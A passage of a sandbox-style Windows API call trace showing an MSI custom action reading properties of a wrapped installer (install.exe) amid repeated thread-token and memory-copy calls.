TokenHandle=0xbde880 | out: TokenHandle=0xbde880*=0x0) returned 0 [0146.704] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.704] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.704] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.704] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.705] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.705] GetCurrentThread () returned 0xfffffffffffffffe [0146.705] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde888 | out: TokenHandle=0xbde888*=0x0) returned 0 [0146.705] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.705] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.705] lstrlenW (lpString="-- CUSTOM ACTION -- GetProperty: Name=BZ.WRAPPED_REGISTRATION") returned 61 [0146.706] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.706] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.706] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.706] GetCurrentThread () returned 0xfffffffffffffffe [0146.706] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde870 | out: TokenHandle=0xbde870*=0x0) returned 0 [0146.706] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0146.706] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.706] memcpy (in: _Dst=0x3728b0, _Src=0x32d1b0, _Size=0x7a | out: _Dst=0x3728b0) returned 0x3728b0 [0146.707] memcpy (in: _Dst=0x32cfd0, _Src=0x3728b0, _Size=0x7a | out: _Dst=0x32cfd0) returned 0x32cfd0 [0146.707] SetEvent (hEvent=0x170) returned 1 [0146.708] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0146.710] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.710] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.711] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.711] GetCurrentThread () returned 0xfffffffffffffffe [0146.711] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde898 | out: TokenHandle=0xbde898*=0x0) returned 0 [0146.711] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde868 | out: Pid=0xbde868) returned 0x0 [0146.711] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.712] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.712] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.713] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.713] GetCurrentThread () returned 0xfffffffffffffffe [0146.713] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde860 | out: TokenHandle=0xbde860*=0x0) returned 0 [0146.713] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde838 | out: Pid=0xbde838) returned 0x0 [0146.713] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.713] lstrlenW (lpString="BZ.WRAPPED_REGISTRATION") returned 23 [0146.715] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.715] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.715] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.715] GetCurrentThread () returned 0xfffffffffffffffe [0146.715] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde860 | out: TokenHandle=0xbde860*=0x0) returned 0 [0146.715] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde838 | out: Pid=0xbde838) returned 0x0 [0146.716] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.716] lstrlenW (lpString="BZ.WRAPPED_REGISTRATION") returned 23 [0146.717] memcpy (in: _Dst=0x3c22d0, _Src=0x383f20, _Size=0xc | out: _Dst=0x3c22d0) returned 0x3c22d0 [0146.717] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.717] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.717] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.718] GetCurrentThread () returned 0xfffffffffffffffe [0146.718] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde880 | out: TokenHandle=0xbde880*=0x0) returned 0 [0146.718] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.718] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.718] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.718] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.719] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.719] GetCurrentThread () returned 0xfffffffffffffffe [0146.719] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde888 | out: TokenHandle=0xbde888*=0x0) returned 0 [0146.719] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.719] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.719] lstrlenW (lpString="-- CUSTOM ACTION -- GetProperty: Value=Hidden") returned 45 [0146.719] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.719] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.720] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.720] GetCurrentThread () returned 0xfffffffffffffffe [0146.720] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde870 | out: TokenHandle=0xbde870*=0x0) returned 0 [0146.720] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0146.720] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.720] memcpy (in: _Dst=0x3728b0, _Src=0x34b540, _Size=0x5a | out: _Dst=0x3728b0) returned 0x3728b0 [0146.720] memcpy (in: _Dst=0x34acc0, _Src=0x3728b0, _Size=0x5a | out: _Dst=0x34acc0) returned 0x34acc0 [0146.720] SetEvent (hEvent=0x170) returned 1 [0146.720] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0146.722] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.722] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.723] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.723] GetCurrentThread () returned 0xfffffffffffffffe [0146.723] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde898 | out: TokenHandle=0xbde898*=0x0) returned 0 [0146.723] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde868 | out: Pid=0xbde868) returned 0x0 [0146.723] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.724] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.724] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.743] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.743] GetCurrentThread () returned 0xfffffffffffffffe [0146.744] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde880 | out: TokenHandle=0xbde880*=0x0) returned 0 [0146.744] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.744] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.744] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.744] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.745] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.745] GetCurrentThread () returned 0xfffffffffffffffe [0146.745] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde888 | out: TokenHandle=0xbde888*=0x0) returned 0 [0146.745] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.745] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.745] lstrlenW (lpString="-- CUSTOM ACTION -- GetProperty: Name=BZ.INSTALL_SUCCESS_CODES") returned 62 [0146.745] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.745] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.746] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.746] GetCurrentThread () returned 0xfffffffffffffffe [0146.746] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde870 | out: TokenHandle=0xbde870*=0x0) returned 0 [0146.746] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0146.746] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.746] memcpy (in: _Dst=0x3728b0, _Src=0x32cfd0, _Size=0x7c | out: _Dst=0x3728b0) returned 0x3728b0 [0146.746] memcpy (in: _Dst=0x32d1b0, _Src=0x3728b0, _Size=0x7c | out: _Dst=0x32d1b0) returned 0x32d1b0 [0146.747] SetEvent (hEvent=0x170) returned 1 [0146.747] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0146.751] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.751] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.752] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.752] GetCurrentThread () returned 0xfffffffffffffffe [0146.752] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde898 | out: TokenHandle=0xbde898*=0x0) returned 0 [0146.752] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde868 | out: Pid=0xbde868) returned 0x0 [0146.752] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.753] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.753] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.754] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.754] GetCurrentThread () returned 0xfffffffffffffffe [0146.754] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde860 | out: TokenHandle=0xbde860*=0x0) returned 0 [0146.754] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde838 | out: Pid=0xbde838) returned 0x0 [0146.754] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.754] lstrlenW (lpString="BZ.INSTALL_SUCCESS_CODES") returned 24 [0146.755] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.755] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.756] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.756] GetCurrentThread () returned 0xfffffffffffffffe [0146.756] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde860 | out: TokenHandle=0xbde860*=0x0) returned 0 [0146.756] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde838 | out: Pid=0xbde838) returned 0x0 [0146.756] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.756] lstrlenW (lpString="BZ.INSTALL_SUCCESS_CODES") returned 24 [0146.758] memcpy (in: _Dst=0x3c22d0, _Src=0x383a10, _Size=0x2 | out: _Dst=0x3c22d0) returned 0x3c22d0 [0146.758] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.758] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.758] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.759] GetCurrentThread () returned 0xfffffffffffffffe [0146.759] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde880 | out: TokenHandle=0xbde880*=0x0) returned 0 [0146.759] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.759] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.759] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.759] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.760] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.760] GetCurrentThread () returned 0xfffffffffffffffe [0146.760] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde888 | out: TokenHandle=0xbde888*=0x0) returned 0 [0146.760] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.761] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.761] lstrlenW (lpString="-- CUSTOM ACTION -- GetProperty: Value=0") returned 40 [0146.761] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.761] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.761] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.761] GetCurrentThread () returned 0xfffffffffffffffe [0146.761] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde870 | out: TokenHandle=0xbde870*=0x0) returned 0 [0146.761] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0146.762] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.762] memcpy (in: _Dst=0x3728b0, _Src=0x3c5ff0, _Size=0x50 | out: _Dst=0x3728b0) returned 0x3728b0 [0146.762] memcpy (in: _Dst=0x3c5ab0, _Src=0x3728b0, _Size=0x50 | out: _Dst=0x3c5ab0) returned 0x3c5ab0 [0146.762] SetEvent (hEvent=0x170) returned 1 [0146.762] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0146.764] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.764] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.765] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.765] GetCurrentThread () returned 0xfffffffffffffffe [0146.765] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde898 | out: TokenHandle=0xbde898*=0x0) returned 0 [0146.765] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde868 | out: Pid=0xbde868) returned 0x0 [0146.766] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.766] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.766] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.806] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.807] GetCurrentThread () returned 0xfffffffffffffffe [0146.807] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde880 | out: TokenHandle=0xbde880*=0x0) returned 0 [0146.807] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.807] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.807] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.807] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.808] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.808] GetCurrentThread () returned 0xfffffffffffffffe [0146.808] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde888 | out: TokenHandle=0xbde888*=0x0) returned 0 [0146.808] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.808] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.809] lstrlenW (lpString="-- CUSTOM ACTION -- GetProperty: Name=BZ.BASENAME") returned 49 [0146.809] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.809] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.809] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.809] GetCurrentThread () returned 0xfffffffffffffffe [0146.809] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde870 | out: TokenHandle=0xbde870*=0x0) returned 0 [0146.809] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0146.810] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.810] memcpy (in: _Dst=0x3728b0, _Src=0x32f250, _Size=0x62 | out: _Dst=0x3728b0) returned 0x3728b0 [0146.810] memcpy (in: _Dst=0x32e7a0, _Src=0x3728b0, _Size=0x62 | out: _Dst=0x32e7a0) returned 0x32e7a0 [0146.810] SetEvent (hEvent=0x170) returned 1 [0146.811] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0146.816] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.816] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.817] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.817] GetCurrentThread () returned 0xfffffffffffffffe [0146.817] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde898 | out: TokenHandle=0xbde898*=0x0) returned 0 [0146.817] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde868 | out: Pid=0xbde868) returned 0x0 [0146.817] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.818] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.818] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.821] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.821] GetCurrentThread () returned 0xfffffffffffffffe [0146.821] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde860 | out: TokenHandle=0xbde860*=0x0) returned 0 [0146.821] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde838 | out: Pid=0xbde838) returned 0x0 [0146.821] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.821] lstrlenW (lpString="BZ.BASENAME") returned 11 [0146.822] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.822] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.823] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.823] GetCurrentThread () returned 0xfffffffffffffffe [0146.823] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde860 | out: TokenHandle=0xbde860*=0x0) returned 0 [0146.823] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde838 | out: Pid=0xbde838) returned 0x0 [0146.823] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.823] lstrlenW (lpString="BZ.BASENAME") returned 11 [0146.824] memcpy (in: _Dst=0x2af2e90, _Src=0x3c0dc0, _Size=0x16 | out: _Dst=0x2af2e90) returned 0x2af2e90 [0146.824] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.825] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.825] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.825] GetCurrentThread () returned 0xfffffffffffffffe [0146.825] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde880 | out: TokenHandle=0xbde880*=0x0) returned 0 [0146.825] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.826] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.826] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.826] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.827] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.827] GetCurrentThread () returned 0xfffffffffffffffe [0146.827] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde888 | out: TokenHandle=0xbde888*=0x0) returned 0 [0146.827] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.827] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.827] lstrlenW (lpString="-- CUSTOM ACTION -- GetProperty: Value=install.exe") returned 50 [0146.827] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.827] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.828] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.828] GetCurrentThread () returned 0xfffffffffffffffe [0146.828] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde870 | out: TokenHandle=0xbde870*=0x0) returned 0 [0146.828] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0146.828] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.828] memcpy (in: _Dst=0x3728b0, _Src=0x32f250, _Size=0x64 | out: _Dst=0x3728b0) returned 0x3728b0 [0146.828] memcpy (in: _Dst=0x32f010, _Src=0x3728b0, _Size=0x64 | out: _Dst=0x32f010) returned 0x32f010 [0146.828] SetEvent (hEvent=0x170) returned 1 [0146.829] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0146.831] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.831] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.832] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.832] GetCurrentThread () returned 0xfffffffffffffffe [0146.832] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde898 | out: TokenHandle=0xbde898*=0x0) returned 0 [0146.832] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde868 | out: Pid=0xbde868) returned 0x0 [0146.832] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.832] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.832] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.853] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.853] GetCurrentThread () returned 0xfffffffffffffffe [0146.853] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde880 | out: TokenHandle=0xbde880*=0x0) returned 0 [0146.853] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.853] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.853] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.854] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.854] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.854] GetCurrentThread () returned 0xfffffffffffffffe [0146.854] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde888 | out: TokenHandle=0xbde888*=0x0) returned 0 [0146.854] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.854] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.854] lstrlenW (lpString="-- CUSTOM ACTION -- Save wrapped installer cabinet") returned 50 [0146.855] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.855] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.855] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.855] GetCurrentThread () returned 0xfffffffffffffffe [0146.855] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde870 | out: TokenHandle=0xbde870*=0x0) returned 0 [0146.855] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0146.855] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.856] memcpy (in: _Dst=0x3728b0, _Src=0x32f250, _Size=0x64 | out: _Dst=0x3728b0) returned 0x3728b0 [0146.856] memcpy (in: _Dst=0x32e7a0, _Src=0x3728b0, _Size=0x64 | out: _Dst=0x32e7a0) returned 0x32e7a0 [0146.856] SetEvent (hEvent=0x170) returned 1 [0146.857] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0146.859] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.859] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.861] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.861] GetCurrentThread () returned 0xfffffffffffffffe [0146.861] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde898 | out: TokenHandle=0xbde898*=0x0) returned 0 [0146.861] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde868 | out: Pid=0xbde868) returned 0x0 [0146.861] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.862] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.862] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.863] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.863] GetCurrentThread () returned 0xfffffffffffffffe [0146.863] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde880 | out: TokenHandle=0xbde880*=0x0) returned 0 [0146.863] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.863] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.863] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.863] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.864] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.864] GetCurrentThread () returned 0xfffffffffffffffe [0146.864] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde888 | out: TokenHandle=0xbde888*=0x0) returned 0 [0146.864] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.864] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.864] lstrlenW (lpString="-- CUSTOM ACTION -- Get database") returned 32 [0146.864] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.864] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.865] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.865] GetCurrentThread () returned 0xfffffffffffffffe [0146.865] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde870 | out: TokenHandle=0xbde870*=0x0) returned 0 [0146.865] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0146.865] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.865] memcpy (in: _Dst=0x3728b0, _Src=0x380260, _Size=0x40 | out: _Dst=0x3728b0) returned 0x3728b0 [0146.867] memcpy (in: _Dst=0x3803e0, _Src=0x3728b0, _Size=0x40 | out: _Dst=0x3803e0) returned 0x3803e0 [0146.867] SetEvent (hEvent=0x170) returned 1 [0146.867] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0146.869] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.869] SetThreadToken (Thread=0x0, Token=0x0) returned 1 